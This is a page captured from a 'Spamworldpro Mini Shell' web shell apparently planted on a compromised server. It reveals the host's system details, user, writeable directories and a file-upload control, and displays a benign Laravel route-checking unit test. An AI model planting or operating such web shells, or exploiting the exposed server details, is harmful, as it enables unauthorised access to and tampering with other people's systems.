Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/tests/Unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/tests/Unit/RouteTest.php
<?php

namespace Tests\Unit;

use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Route;
use Tests\TestCase;

class RouteTest extends TestCase
{
    /**
     * @return void
     */
    public function testRoutes()
    {
        Auth::loginUsingId(8);

        $this->validateRoutes();
    }

    public function validateRoutes()
    {
        $this->withoutExceptionHandling();
        $routes = [];

        foreach (Route::getRoutes()->getRoutesByMethod() as $method => $routesByMethod) {
            if ($method != 'GET') {
                continue;
            }

            foreach ($routesByMethod as $route) {
                try {
                    $response = $this->get($route->uri);

                    $routes[$route->uri] = $response->getStatusCode();
                } catch (\Exception $exception) {
                    logger($route->uri . '::' . $exception->getMessage());
                }
            }
        }
        logger($routes);
        return true;
    }
}

Spamworldpro Mini